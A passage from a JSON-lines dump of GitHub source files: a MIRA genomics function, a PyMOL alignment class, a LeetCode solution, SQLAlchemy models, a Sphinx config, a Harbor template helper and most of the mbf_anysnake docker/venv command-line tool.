minus-strand genes, this will be the TSS location.\n    gene_strand : str, defualt = \"strand\"\n        The column in `tss_data` corresponding to the trandedness of the \n        gene.\n    gene_id : str, default = \"geneSymbol\"\n        The column in `tss_data` corresponding to the symbol of the gene.\n        This will be used to refer to specific genes and to connect the loci\n        to observed expression for that gene. Make sure to\n        use identical symbology in TSS labeling as in the expression counts\n        data of your multiome expriment. If multiple loci have the same symbol,\n        or a gene has muliple loci, only the first encountered will be used. To\n        disambiguate symbol-loci mapping, use a single canonical splice variant for each\n        gene.\n\n    max_distance : float > 0, default = 6e5\n        Maximum distance to give a distance between a peak and a gene. All distances\n        exceeding this threshold will be set to infinity.\n    promoter_width : Width of the \"promoter\" region around each TSS, in base pairs. \n        The distance between a gene and a peak inside another gene's promoter region \n        is set to infinity. For PR modeling, this masks the effect of other \n        genes' promoter accessibility on the RP model.\n    genome_file : str\n        String, file location of chromosome lengths for you organism. For example:\n\n        chr1\t248956422\n        chr2\t242193529\n        chr3\t198295559\n        chr4\t190214555\n\n    Returns\n    -------\n    adata : anndata.AnnData\n        `.varm[\"distance_to_TSS\"] : scipy.spmatrix[float] of shape (n_genes x n_peaks)\n            Distance between genes' TSS and and peaks. \n        `.uns[\"distance_to_TSS_genes\"] : np.ndarray[str] of shape (n_genes,)\n            Gene symbols corresponding to rows in the `distance_to_TSS` matrix.\n\n    Examples\n    --------\n\n    One can download mm10 or hg38 TSS annotations via:\n\n    .. code-block :: python\n\n        >>> mira.datasets.mm10_tss_data() # or mira.datasets.hg38_tss_data()\n        ...   INFO:mira.datasets.datasets:Dataset contents:\n        ...       * mira-datasets/mm10_tss_data.bed12\n\n\n    Then, to annotate the ATAC peaks:\n\n    .. code-block:: python\n\n        >>> atac_data.var\n        ...                        chr   start     end\n        ...    chr1:9778-10670     chr1    9778   10670\n        ...    chr1:180631-181281  chr1  180631  181281\n        ...    chr1:183970-184795  chr1  183970  184795\n        ...    chr1:190991-191935  chr1  190991  191935\n        >>> mira.tl.get_distance_to_TSS(atac_data, \n        ...                        tss_data = \"mira-datasets/mm10_tss_data.bed12\", \n        ...                        gene_chrom='chrom', \n        ...                        gene_strand='strand', \n        ...                        gene_start='chromStart',\n        ...                        gene_end='chromEnd',\n        ...                        genome_file = '~/genomes/hg38/hg38.genome'\n        ...                    )\n        ...    WARNING:mira.tools.connect_genes_peaks:71 regions encounted from unknown chromsomes: KI270728.1,GL000194.1,GL000205.2,GL000195.1,GL000219.1,KI270734.1,GL000218.1,KI270721.1,KI270726.1,KI270711.1,KI270713.1\n        ...    INFO:mira.tools.connect_genes_peaks:Finding peak intersections with promoters ...\n        ...    INFO:mira.tools.connect_genes_peaks:Calculating distances between peaks and TSS ...\n        ...    INFO:mira.tools.connect_genes_peaks:Masking other genes' promoters ...\n        ...    INFO:mira.adata_interface.rp_model:Added key to var: distance_to_TSS\n        ...    INFO:mira.adata_interface.rp_model:Added key to uns: distance_to_TSS_genes\n\n    '''\n\n    #load genome\n    genome = Genome.from_file(genome_file)\n\n    for c in np.unique(chrom):\n        assert (c in genome.chromosomes), 'Chromosome {} from TSS data not found in genome file.'.format(str(c))\n\n    #get gene promoters\n    promoter_width/=2\n\n    if not len(np.unique(gene_id)) == len(gene_id):\n        logger.warn('Gene IDs are not unique! When searching for peak annotations for a duplicated ID, the first found will be used.')\n\n    promoters = []\n    for chrom, gene_id, start, end, strand in zip(chrom, gene_id, start, end, strand):\n\n        start, end = int(start), int(end)\n        \n        tss = start, start + 1\n        if strand == \"-\":\n            tss = end - 1, end\n\n        newregion = StrandedRegion(\n                            chrom, \n                            max(0, tss[0] - promoter_width), \n                            min(tss[1] + promoter_width, genome.get_chromlen(chrom)),\n                            strand = strand, \n                            annotation = gene_id\n                            )\n                        \n        newregion._tx = (start, end)\n        promoters.append(newregion)\n    \n    promoter_set = RegionSet(promoters, genome)\n\n    #get regions\n    peak_regions = check_region_specification(peaks, genome)\n    peak_set = RegionSet(peak_regions, genome)\n\n    sort_map = np.array([r.annotation for r in peak_set.regions])\n\n    distance_matrix = get_masked_distances(promoter_set, peak_set, max_distance)\n\n    unsorted_distance_matrix = project_sparse_matrix(\n        distance_matrix,\n        np.hstack([np.arange(len(sort_map))[:, np.newaxis], sort_map[:, np.newaxis]]),\n        len(peaks),\n    )\n\n    gene_meta = [\n        (r.annotation, r.chromosome, r._tx[0], r._tx[1], r.strand)\n        for r in promoter_set.regions\n    ]\n\n    return (unsorted_distance_matrix, *list(zip(*gene_meta)))\n","repo_name":"cistrome/MIRA","sub_path":"mira/tools/connect_genes_peaks.py","file_name":"connect_genes_peaks.py","file_ext":"py","file_size_in_byte":11377,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"3"}
+{"seq_id":"74439408080","text":"from typing import cast, Dict, List\n\nfrom ...clustal import msa\nfrom .strings import MAIN_SEQUENCE_NAME\n\nclass SchemaAlignments(object):\n\n    @staticmethod\n    def from_files(pdb_msa_file_name : str, parents_msa_file_name : str) -> 'SchemaAlignments':\n\n        with open(pdb_msa_file_name, 'r') as pdb_msa_file:\n            pdb_msa = msa.parse_alignments(pdb_msa_file.read())\n\n        with open(parents_msa_file_name, 'r') as parents_msa_file:\n            parents_msa = msa.parse_alignments(parents_msa_file.read())\n\n        return SchemaAlignments(\n            pdb_msa,\n            parents_msa\n        )\n\n    def __init__(self, structure_msa : Dict[str, str], parents_msa : Dict[str, str]):\n\n        if len(structure_msa) != 2:\n            raise ValueError(\"Only one parent must be aligned to the structure\")\n\n        if MAIN_SEQUENCE_NAME not in structure_msa \\\n            or MAIN_SEQUENCE_NAME not in parents_msa:\n            raise ValueError(\"A sequence called %s must be in both msa\" % MAIN_SEQUENCE_NAME)\n\n#        for (name, sequence) in structure_msa.items():\n#\n#            if name == MAIN_SEQUENCE_NAME:\n#                self.__main_msa = sequence\n#            else:\n#                self.__structure_msa = sequence\n\n        self.__structure_msa = structure_msa\n        self.__parents_msa = parents_msa\n        self.__position_mappings_items = None\n\n\n    @property\n    def __position_mappings(self) -> List[int]:\n        if self.__position_mappings_items is None:\n            self.__position_mappings_items = list(\n                msa.get_relative_positions(self.__parents_msa, self.__structure_msa)\n            )\n\n        return cast(List[int], self.__position_mappings_items)\n\n    @property\n    def __main_parents_msa(self) -> str:\n        return self.__parents_msa[MAIN_SEQUENCE_NAME]\n\n    def get_structure_position(self, i : int) -> int:\n        \"\"\"\n        This function converts an index relative to a position in the msa file of all\n        parents to the position that index corresponds in the structure.\n        \"\"\"\n\n        return self.__position_mappings[i]","repo_name":"TUM-CBR/pymol-plugins","sub_path":"cbr/schema/support/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"30650369144","text":"# reference - https://leetcode.com/problems/keys-and-rooms/description/\nclass Solution:\n    def canVisitAllRooms(self, rooms: List[List[int]]) -> bool:\n    \n        \"\"\"\n        Logic: \n        BFS using queue\n        - Push the first unlocked rooms into q (room 0 in this case)\n        - Pop from Q and for each room that is popped\n            - go to the index in the array and unlock the room\n            - push keys in this room to Q\n            - maintain a visited set to track the rooms we've been to\n            - if len(visited) == len(rooms) then return true else return false \n        \"\"\"\n\n        if not rooms:\n            return False\n    \n        rooms_q = collections.deque([rooms[0]])\n        visited = set()\n\n        visited.add(0)\n\n        while rooms_q: \n            key_set = rooms_q.popleft()\n\n            for key in key_set:\n                if key not in visited:\n                    visited.add(key)\n                    # Now you add the room to the queue so you can get its keys\n                    # the next time you iterate\n                    rooms_q.append(rooms[key])\n    \n        return True if len(visited) == len(rooms) else False\n\n","repo_name":"bbram8/AlgoSolutions","sub_path":"KeysAndRooms.py","file_name":"KeysAndRooms.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32752057986","text":"'''\n@author : saitejasedate\nWrite a python program to read multiple lines of text input and store the input into a string.\n'''\n\ndef main():\n    '''\n    program to read multiple lines of text input and store the input into a string.\n    '''\n    str_output = \"\"\n    input_num_lines = int(input())\n    for line_num in range(input_num_lines):\n        str_output = str_output + input()\n        str_output += '\\n'\n        line_num += 1\n    print(str_output)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"saitejavelagandula/20186102_cspp-1","sub_path":"cspp1-assignments/m22/assignment1/assignment1/read_input.py","file_name":"read_input.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7202265746","text":"from sqlalchemy import create_engine, Column, Integer, String, ForeignKey\nfrom sqlalchemy.orm import scoped_session, sessionmaker, relationship\nfrom sqlalchemy.ext.declarative import declarative_base\n# Cria a database\nengine = create_engine('sqlite:///dbatividades')\ndb_session = scoped_session(sessionmaker(autocommit=False, bind=engine))\n\nBase = declarative_base()\nBase.querry = db_session.query_property()\n\n# Cria a tabela \"Pessoas\" na db\nclass Pessoas(Base):\n    __tablename__ = 'pessoas'\n\n    # informações sobre as colunas da tabela\n    id = Column(Integer, primary_key=True)\n    nome = Column(String(70),nullable=False)\n    idade = Column(Integer, nullable=False)\n\n    # Representação caso tenha um print(Pessoas)\n    def __repr__(self):\n        return '<Pessoa {}>'.format(self.nome)\n\n    # Função para salvar as alterações na tabela\n    def save(self):\n        db_session.add(self)\n        db_session.commit()\n    # Função para deletar uma informação da tabela\n    def delete(self):\n        db_session.delete(self)\n        db_session.commit()\n\n# Cria a tabela \"Atividades\" na db\nclass Atividades(Base):\n    __tablename__ = 'atividades'\n\n    # informações sobre as colunas da tabela\n    id = Column(Integer, primary_key=True)\n    nome = Column(String(80))\n    pessoa_id = Column(Integer, ForeignKey('pessoas.id'))\n    pessoa = relationship(\"Pessoas\")\n\n    # Representação caso tenha um print(Atividades)\n    def __repr__(self):\n        return '<Atividade {}>'.format(self.id)\n\n    # Função para salvar as alterações na tabela\n    def save(self):\n        db_session.add(self)\n        db_session.commit()\n\n    # Função para deletar uma informação da tabela\n    def delete(self):\n        db_session.delete(self)\n        db_session.commit()\n# Inicia o db\ndef init_db():\n    Base.metadata.create_all(bind=engine)\n\nif __name__ == '__main__':\n    init_db()","repo_name":"GabIkejima/atividade-db-flaskrestful","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3671498340","text":"import trace_skeleton\nimport cv2\nimport random\n\nim = cv2.imread(\"../test_images/opencv-thinning-src-img.png\",0)\n\n_,im = cv2.threshold(im,128,255,cv2.THRESH_BINARY);\n# cv2.imshow(\"\",im);cv2.waitKey(0)\n\npolys = trace_skeleton.from_numpy(im);\n\nfor l in polys:\n\tc = (200*random.random(),200*random.random(),200*random.random())\n\tfor i in range(0,len(l)-1):\n\t\tcv2.line(im,(l[i][0],l[i][1]),(l[i+1][0],l[i+1][1]),c)\n\ncv2.imshow('',im);cv2.waitKey(0)","repo_name":"LingDong-/skeleton-tracing","sub_path":"swig/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":470,"dataset":"github-code","pt":"3"}
+{"seq_id":"25730383189","text":"# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n# -- Path setup --------------------------------------------------------------\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\nimport glob\nimport json\nimport os\nimport pprint\nimport sys\n\n# -- Install Package -----------------------------------------------------\nsys.path.insert(0, os.path.abspath(\"..\"))\nimport jdv_funcutils\nfrom datetime import date\n\n# creating the date object of today's date\ntodays_date = date.today()\n\npkg = jdv_funcutils\n\n\n# -- Project information -----------------------------------------------------\n\nproject = pkg.__title__\ncopyright = f\"{todays_date.year}, {pkg.__authors__}\"\nauthor = \", \".join(pkg.__authors__)\n\n# The full version, including alpha/beta/rc tags\nrelease = pkg.__version__\n\n# -- Confluence Configuration -------------------------------------------------\nfrom yaml import load\n\n\ndef update_locals(data: dict) -> None:\n    assert isinstance(data, dict)\n    locals().update(data)\n\n\ntry:\n    from yaml import CLoader as Loader, CDumper as Dumper\nexcept ImportError:\n    from yaml import Loader, Dumper\n\n# load confluence yaml\n# with open(\"confluence.yaml\") as f:\n#     confluence_data = load(f, Loader=Loader)\n#     update_locals(confluence_data)\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.doctest\",\n    \"sphinx.ext.intersphinx\",\n    \"sphinx_autodoc_typehints\",\n    \"sphinx.ext.mathjax\",\n    \"sphinx.ext.coverage\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx.ext.inheritance_diagram\",\n    \"sphinx_rtd_theme\",\n]\n\n# Autodoc configuration\nautodoc_default_options = {\"autosummary\": False}\nautoclass_content = \"both\"  # include both class docstring and __init__\nautodoc_default_flags = [\n    # Make sure that any autodoc declarations show the right members\n    \"members\",\n    \"inherited-members\",\n    \"private-members\",\n    \"show-inheritance\",\n]\n\n# autosummary_generate = glob.glob(\"**/*.rst\", recursive=True)\n# Make _autosummary files and include them\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\"docs\", \"Thumbs.db\", \".DS_Store\", \"_build\", \"**.ipynb_checkpoints\"]\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\npygments_style = \"sphinx\"\nhtml_theme = \"sphinx_rtd_theme\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_static\"]\n\nhtml_theme_options = {\n    \"logo_only\": False,\n    \"display_version\": True,\n    \"prev_next_buttons_location\": \"bottom\",\n    \"style_external_links\": False,\n    \"vcs_pageview_mode\": \"\",\n    \"collapse_navigation\": True,\n    \"sticky_navigation\": True,\n    \"navigation_depth\": 4,\n}\n","repo_name":"jvrana/funcutils","sub_path":"docs/sphinx/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11307539381","text":"import json\n\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\nfrom .misc import mark_file\n\njinja_env = Environment(loader=FileSystemLoader('/'), trim_blocks=True, lstrip_blocks=True, autoescape = select_autoescape())\n\ndef to_json(value):\n    return json.dumps(value)\n\njinja_env.filters['to_json'] = to_json\n\n\ndef render_jinja(src, dest,mode=0o640, uid=0, gid=0, **kw):\n    t = jinja_env.get_template(src)\n    with open(dest, 'w') as f:\n        f.write(t.render(**kw))\n    mark_file(dest, mode, uid, gid)\n    print(\"Generated configuration file: %s\" % dest)","repo_name":"goharbor/harbor","sub_path":"make/photon/prepare/utils/jinja.py","file_name":"jinja.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":21234,"dataset":"github-code","pt":"3"}
+{"seq_id":"37680643789","text":"# -*- coding: future_fstrings -*-\nimport os\nimport tempfile\nimport click\nimport click_completion\n\nclick_completion.init()\n\nfrom pathlib import Path\nfrom mbf_anysnake import parse_requirements, parsed_to_anysnake\nimport subprocess\nfrom .util import get_next_free_port\n\n\nconfig_file = \"anysnake.toml\"\nhome_files = [\".hgrc\", \".git-credentials\", \".gitconfig\"]\nhome_dirs = [\n    \".config/fish\",\n    \".config/matplotlib\",\n    \".cache/matplotlib\",\n    \".jupyter\",\n    \".local/share/fish\",\n    \".local/share/jupyter\",\n    \".ipython\",\n]\n\n\n@click.group()\ndef main():\n    pass\n\n\ndef get_anysnake():\n    parsed = parse_requirements(config_file)\n    return parsed_to_anysnake(parsed), parsed\n\n\ndef get_volumes_config(config, key2):\n    \"\"\"Extract a volumes config from the config if present.\n\n    Representation is a dictionary, \n        target_path:  source_path\n    \"\"\"\n    result = {}\n    for key1 in [\"global_run\", \"run\"]:\n        if key1 in config and key2 in config[key1]:\n            for (f, t) in config[key1][key2]:  # from / to\n                result[t] = Path(f).expanduser().absolute()\n    return result\n\n\n@main.command()\n@click.option(\"--do-time\", default=False, is_flag=True)\ndef build(do_time=False):\n    \"\"\"Build everything if necessary - from docker to local venv from project.setup \n    Outputs full docker_image:tag\n    \"\"\"\n    d, _ = get_anysnake()\n    d.ensure(do_time)\n    print(d.docker_image)\n    return d\n\n\n@main.command()\ndef rebuild():\n    \"\"\"for each locally cloned package in code,\n    call python setup.py install\n    \"\"\"\n    d, config = get_anysnake()\n    d.rebuild()\n\n\n@main.command()\n@click.argument(\"packages\", nargs=-1, required=True)\ndef remove_pip(packages):\n    \"\"\"Remove pip modules, from anysnake.toml. \n    If they're installed, remove their installation\n    If they're editable, remove their code/folders as well\"\"\"\n    import shutil\n    import tomlkit\n\n    d, config = get_anysnake()\n    local_config = tomlkit.loads(Path(\"anysnake.toml\").read_text())\n    write_toml = False\n    for p in packages:\n        if p in local_config.get(\"python\"):\n            del local_config[\"python\"][p]\n            write_toml = True\n        path = d.paths[\"code_clones\"] / p\n        if path.exists():\n            if click.confirm(f\"really remove {path}?)\"):\n                shutil.rmtree(str(path))\n        lib_path = (\n            d.paths[\"code_venv\"]\n            / \"lib\"\n            / (\"python\" + d.major_python_version)\n            / \"site-packages\"\n        )\n        print(p + \"*\")\n        for f in lib_path.glob(p + \"*\"):\n            print(f)\n\n    if write_toml:\n        import time\n\n        backup_filename = \"anysnake.toml.%s\" % time.strftime(\"%Y-%M-%d-%H-%M\")\n        print(\"writing new anysnake.toml - old one in %s\" % backup_filename)\n        shutil.copy(\"anysnake.toml\", backup_filename)\n        with open(\"anysnake.toml\", \"w\") as op:\n            op.write(tomlkit.dumps(local_config))\n\n\n@main.command()\ndef rebuild_global_venv():\n    raise ValueError(\"todo\")\n\n\n@main.command()\n@click.option(\n    \"--no-build/--build\",\n    default=False,\n    help=\"don't perform build if things are missing\",\n)\n@click.option(\n    \"--allow-writes/--no-allow-writes\", default=False, help=\"mount all volumes rw\"\n)\n@click.option(\n    \"--include-perf/--no-include-perf\",\n    default=False,\n    help=\"include perf tool for profiling\",\n)\ndef shell(no_build=False, allow_writes=False, include_perf=False):\n    \"\"\"Run a shell with everything mapped (build if necessary)\"\"\"\n\n    d, config = get_anysnake()\n    if not no_build:\n        d.ensure()\n    else:\n        d.ensure_just_docker()\n    cmd = \"/usr/bin/fish\"\n    if include_perf:\n        cmd = (\n            \"sudo apt-get update;\\nsudo apt-get install -y linux-tools-common linux-tools-generic linux-tools-`uname -r`\\n\"\n            + cmd\n        )\n    d.mode = \"shell\"\n    print(\n        d.run(\n            cmd,\n            allow_writes=allow_writes,\n            home_files=home_files,\n            home_dirs=home_dirs,\n            volumes_ro=get_volumes_config(config, \"additional_volumes_ro\"),\n            volumes_rw=get_volumes_config(config, \"additional_volumes_rw\"),\n        )\n    )\n\n\n@main.command()\n@click.option(\"--no-build/--build\", default=False)\n@click.option(\"--pre/--no-pre\", default=True, help=\"run pre_run_inside/outside\")\n@click.option(\"--post/--no-post\", default=True, help=\"run post_run_inside/outside\")\n@click.argument(\"cmd\", nargs=-1)\ndef run(cmd, no_build=False, pre=True, post=True):\n    \"\"\"Run a command\"\"\"\n    import subprocess\n\n    d, config = get_anysnake()\n    print(d)\n    print(\"------------\")\n    print(d.docker_image)\n    if not no_build:\n        d.ensure()\n    else:\n        d.ensure_just_docker()\n\n    pre_run_outside = config.get(\"run\", {}).get(\"pre_run_outside\", False)\n    pre_run_inside = config.get(\"run\", {}).get(\"pre_run_inside\", False)\n    if pre and pre_run_outside:\n        subprocess.Popen(pre_run_outside, shell=True).communicate()\n    cmd = \"\\n\" + \" \".join(cmd) + \"\\n\"\n    if pre and pre_run_inside:\n        cmd = pre_run_inside + cmd\n    post_run_outside = config.get(\"run\", {}).get(\"post_run_outside\", False)\n    post_run_inside = config.get(\"run\", {}).get(\"post_run_inside\", False)\n    if post and post_run_inside:\n        cmd += post_run_inside\n    d.mode = \"run\"\n    print(cmd)\n    print(\"------------------\")\n    print(\n        d.run(\n            cmd,\n            allow_writes=False,\n            home_files=home_files,\n            home_dirs=home_dirs,\n            volumes_ro=get_volumes_config(config, \"additional_volumes_ro\"),\n            volumes_rw=get_volumes_config(config, \"additional_volumes_rw\"),\n        )\n    )\n    if post and post_run_outside:\n        subprocess.Popen(post_run_outside, shell=True).communicate()\n\n\ndef check_if_nb_extensions_are_activated():\n    \"\"\"Check if the nb extensions are activated\"\"\"\n    try:\n        d = Path(\"~/.jupyter/jupyter_notebook_config.json\").expanduser().read_text()\n        return '\"jupyter_nbextensions_configurator\": true' in d\n    except IOError:\n        return False\n\n\n@main.command()\n@click.option(\"--no-build/--build\", default=False)\ndef jupyter(no_build=False):\n    \"\"\"Run a jupyter with everything mapped (build if necessary)\"\"\"\n\n    d, config = get_anysnake()\n    if not no_build:\n        d.ensure()\n    else:\n        d.ensure_just_docker()\n    host_port = get_next_free_port(8888)\n    print(\"Starting notebook at %i\" % host_port)\n    nbextensions_not_activated = not check_if_nb_extensions_are_activated()\n    if not \"jupyter_contrib_nbextensions\" in d.global_python_packages:\n        d.global_python_packages[\"jupyter_contrib_nbextensions\"] = \"\"\n\n    d.mode = \"jupyter\"\n    d.run(\n        (\n            \"\"\"\n        jupyter contrib nbextension install --user --symlink\n        jupyter nbextensions_configurator enable --user\n        \"\"\"\n            if nbextensions_not_activated\n            else \"\"\n        )\n        + config.get(\"jupyter\", {}).get(\"pre_run_inside\", \"\")\n        + \"\"\"jupyter notebook --ip=0.0.0.0 --no-browser\\n\"\"\"\n        + config.get(\"jupyter\", {}).get(\"post_run_inside\", \"\"),\n        home_files=home_files,\n        home_dirs=home_dirs,\n        volumes_ro=get_volumes_config(config, \"additional_volumes_ro\"),\n        volumes_rw=get_volumes_config(config, \"additional_volumes_rw\"),\n        ports=[(host_port, 8888)],\n    )\n\n\n@main.command()\n@click.option(\"--no-build/--build\", default=False)\n@click.argument(\"regexps\", nargs=-1)\ndef instant_browser(regexps, no_build=False):\n    \"\"\"Run an instant_browser with everything mapped (build if necessary).\n\n\n    \"\"\"\n    host_port = get_next_free_port(8888)\n    print(\"Starting instant_browser at %i\" % host_port)\n    d, config = get_anysnake()\n    if not no_build:\n        d.ensure()\n    else:\n        d.ensure_just_docker()\n\n    d.mode = \"instant_browser\"\n    d.run(\n        \"instant_browser \" + \" \".join(regexps,),\n        home_files=home_files,\n        home_dirs=home_dirs,\n        volumes_ro=get_volumes_config(config, \"additional_volumes_ro\"),\n        volumes_rw=get_volumes_config(config, \"additional_volumes_rw\"),\n        ports=[(host_port, 8888)],\n    )\n\n\n@main.command()\ndef docker_tag():\n    \"\"\"return the currently used docker_tag \n    for integration purposes\"\"\"\n    d, config = get_anysnake()\n    print(d.docker_image)\n\n\n@main.command()\n@click.option(\"--no-build/--build\", default=False)\ndef ssh(no_build=False):\n    \"\"\"Run an sshd with everything mapped (build if necessary),\n    using your authorized_keys keys from ~/.ssh\n\n    You might want to use additional_volumes_ro to map in\n    some host keys (\n        \"/etc/ssh/ssh_host_ecdsa_key\",\n        \"/etc/ssh/ssh_host_ed25519_key\",\n        \"/etc/ssh/ssh_host_rsa_key\",\n    ).\n    \n    \"\"\"\n\n    d, config = get_anysnake()\n    if not no_build:\n        d.ensure()\n    else:\n        d.ensure_just_docker()\n    host_port = get_next_free_port(8822)\n    print(\"Starting sshd at %i\" % host_port)\n    if not \".vscode-remote\" in home_dirs:\n        home_dirs.append(\".vscode-remote\")\n    home_files.append(\".ssh/authorized_keys\")\n\n    tf = tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".env\")\n    tf.write(\n        \"\\n\".join(\n            [\n                f\"{key}={value}\"\n                for (key, value) in d.get_environment_variables({}).items()\n            ]\n        )\n    )\n    tf.flush()\n\n    volumes_ro = get_volumes_config(config, \"additional_volumes_ro\")\n    volumes_ro[Path(tf.name)] = Path(d.paths[\"home_inside_docker\"]) / \".ssh/environment\"\n    import pprint\n\n    pprint.pprint(volumes_ro)\n    d.run(\n        f\"\"\"\n        echo \"now starting ssh server\"\n        echo \"Port 8822\\nPermitUserEnvironment yes\\n\" >/tmp/sshd_config\n        sudo /usr/sbin/sshd -D -f /tmp/sshd_config\n        #/usr/bin/fish\n        \"\"\",\n        home_files=home_files,\n        home_dirs=home_dirs,\n        volumes_ro=volumes_ro,\n        volumes_rw=get_volumes_config(config, \"additional_volumes_rw\"),\n        ports=[(host_port, 8822)],\n    )\n\n\n@main.command()\n@click.argument(\"modules\", nargs=-1)\n@click.option(\"--report-only/--no-report-only\", default=False)\ndef test(modules, report_only):\n    \"\"\"Run pytest on all (or a subset) modules that were in the code path and had a tests/conftest.py\"\"\"\n    from . import testing\n\n    d, config = get_anysnake()\n    d.ensure()\n    testing.run_tests(modules, d, config, report_only)\n\n\n@main.command()\ndef show_config():\n    \"\"\"Print the config as it is actually used\"\"\"\n    d, parsed = get_anysnake()\n    d.pprint()\n    print(\"\")\n    print(\"Additional volumes\")\n    print(\"  RO\")\n    for outside, inside in get_volumes_config(parsed, \"additional_volumes_ro\").items():\n        print(f\"    {outside} -> {inside}\")\n    print(\"  RW\")\n    for outside, inside in get_volumes_config(parsed, \"additional_volumes_rw\").items():\n        print(f\"    {outside} -> {inside}\")\n    print(\"\")\n    print(\"Config files used:\", parsed[\"used_files\"])\n\n\n@main.command()\ndef show_paths():\n    \"\"\"Print the config as it is actually used\"\"\"\n    d, parsed = get_anysnake()\n    import pprint\n\n    print(\"paths detected\")\n    pprint.pprint(d.paths)\n\n\n@main.command()\ndef default_config():\n    \"\"\"Print a default config\"\"\"\n    p = Path(\"anysnake.toml\")\n    print(\n        \"\"\"[base]\n# docker image to use/build\n# use image:tag for full spec\n# or just 'image' for auto_build from mbf_anysnake\n# docker specs\ndocker_image=\"mbf_anysnake_18.04\"\n\n# optional global config to import\n# global_config=\"/etc/anysnake.tompl\"\n\n# python version to use\npython=\"3.7.2\"\n\n# project_name = folder name of anysnake.toml by default, overwrite here\n# project_name=\"example\"\n\n# bioconductor version to use, R version and CRAN dates are derived from this\n# (optional) \nbioconductor=\"3.8\"\n\n# cran options are 'minimal' (just what's needed from bioconductor) and 'full'\n# (everything)\ncran=\"full\"\n\n# rpy2 version to use.\n# rpy2_version = \"3.2.0\"\n\n\n# where to store the installations\n# python, R, global virtual enviromnments, bioconductor, cran\nstorage_path=\"/var/lib/anysnake\"\n\n# local venv, editable libraries\ncode_path=\"code\"\n\n# install all bioconductor packages whether they need experimental or annotation\n# data or not.\n# bioconductor_whitelist=[\"_full_\"]\n# or install selected packages otherwise omited like this\n# bioconductor_whitelist=[\"chimera\"]\n\n# include rust (if you use bioconductor, rust 1.30.0 will be added automatically)\n# rust = [\"1.30.0\", \"nigthly-2019-03-20\"]\n\n[run]\n# additional folders to map into docker\nadditional_volumes_ro = [['/opt', '/opt']]\nadditional_volumes_rw = [['/home/some_user/.hgrc', '/home/u1000/.hgrc']]\npre_run_outside = \\\"\"\"\n        echo \"bash script, runs outside of the continer before 'run'\"\n\\\"\"\"\n\npre_run_inside = \\\"\"\"\n        echo \"bash script, runs inside of the continer before 'run' (ie. after pre_run_outside)\"\n\\\"\"\"\npost_run_inside = \"echo 'bash script running inside container after run cmd'\"\npost_run_outside = \"echo 'bash script running outside container after run cmd'\"\n\n# python packages installed into global storage\n[global_python]\njupyter=\"\"\n\n# python packages installed locally\n[python]\npandas=\">=0.23\"\n# an editable library\ndppd=\"@git+https://github.com/TyberiusPrime/dppd\"\n# github integration\ndppd_plotine=\"@gh/TyberiusPrime/dppd\"\n\n# additional @something urls for [python]\n# [pip_regexps]\n# @mbf/something ->\n# \"@mbf/(.+)\"=\"@hg+https://mysite.com/hg/\\\\1\"\n# or just @mbf with 'smart' substitiution.\n# @mbf\"=[\"@hg+https://mysite.com/hg/\\\\1\"@\n\n# environmental variables inside the container\n[env]\nINSIDE_ANYSNAKE=\"yes\"\n\n\n\"\"\"\n    )\n\n\ndef merge_dicts(a, b, path=None):\n    \"merges b into a\"\n    if path is None:\n        path = []\n    for key in b:\n        if key in a:\n            if isinstance(a[key], dict) and isinstance(b[key], dict):\n                merge_dicts(a[key], b[key], path + [str(key)])\n            elif a[key] == b[key]:\n                pass  # same leaf value\n            else:\n                raise Exception(\"Conflict at %s\" % \".\".join(path + [str(key)]))\n        else:\n            a[key] = b[key]\n    return a\n\n\n@main.command()\ndef freeze():\n    \"\"\"Output installed packages in anysnake.toml format\"\"\"\n    import tomlkit\n\n    d, parsed = get_anysnake()\n    output = {}\n    for s in d.strategies:\n        if hasattr(s, \"freeze\"):\n            merge_dicts(output, s.freeze())\n    print(tomlkit.dumps(output))\n\n\n@main.command()\ndef version():\n    import mbf_anysnake\n\n    print(\"mbf_anysnake version %s\" % mbf_anysnake.__version__)\n\n\n@main.command()\n@click.option(\n    \"-i\", \"--case-insensitive/--no-case-insensitive\", help=\"Case insensitive completion\"\n)\n@click.argument(\n    \"shell\",\n    required=False,\n    type=click_completion.DocumentedChoice(click_completion.core.shells),\n)\ndef show_completion(shell, case_insensitive):\n    \"\"\"Show the click-completion-command completion code\n    ie. what you need 